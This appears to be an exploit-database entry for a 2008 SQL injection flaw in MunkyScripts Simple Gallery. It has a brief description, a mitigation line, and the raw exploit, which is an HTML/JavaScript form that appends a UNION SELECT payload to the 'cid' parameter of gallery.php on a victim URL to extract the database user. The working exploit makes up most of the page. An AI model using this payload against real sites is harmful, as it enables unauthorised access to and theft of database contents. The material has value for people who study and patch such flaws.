header-logo
Suggest Exploit
vendor:
Simple Gallery
by:
ItSecTeam
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Gallery
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

MunkyScripts Simple Gallery: SQL Injection Vulnerability

MunkyScripts Simple Gallery is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability to manipulate SQL queries by injecting arbitrary SQL code. This may allow the attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.
Source

Exploit-DB raw data:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : MunkyScripts Simple Gallery
//( #Bug type : SQL Injection Vulnerability
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
//---------------------------------------------------------------------


var sqll ="?cid='/**/UNION/**/SELECT/**/1,2,(concat_ws(0x3a,user())),4/*"
  
 function it(){
                xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+sqll;xpl.submit();                                        
            }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#0000FF">MunkyScripts Simple Gallery: SQL Injection 
Vulnerability</font></p>
<p align="left"><font color="#0000FF">-----------------------------------</font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <font 
size="2" face="Tahoma">
  	victim:
  	<input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000" value="http://127.0.0.1"> 
	path:
	<input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000" value="/SimpleGallery/"> 
	file:
	<input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000" value="gallery.php"> 
	</p>
  	</p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
</body>

</html>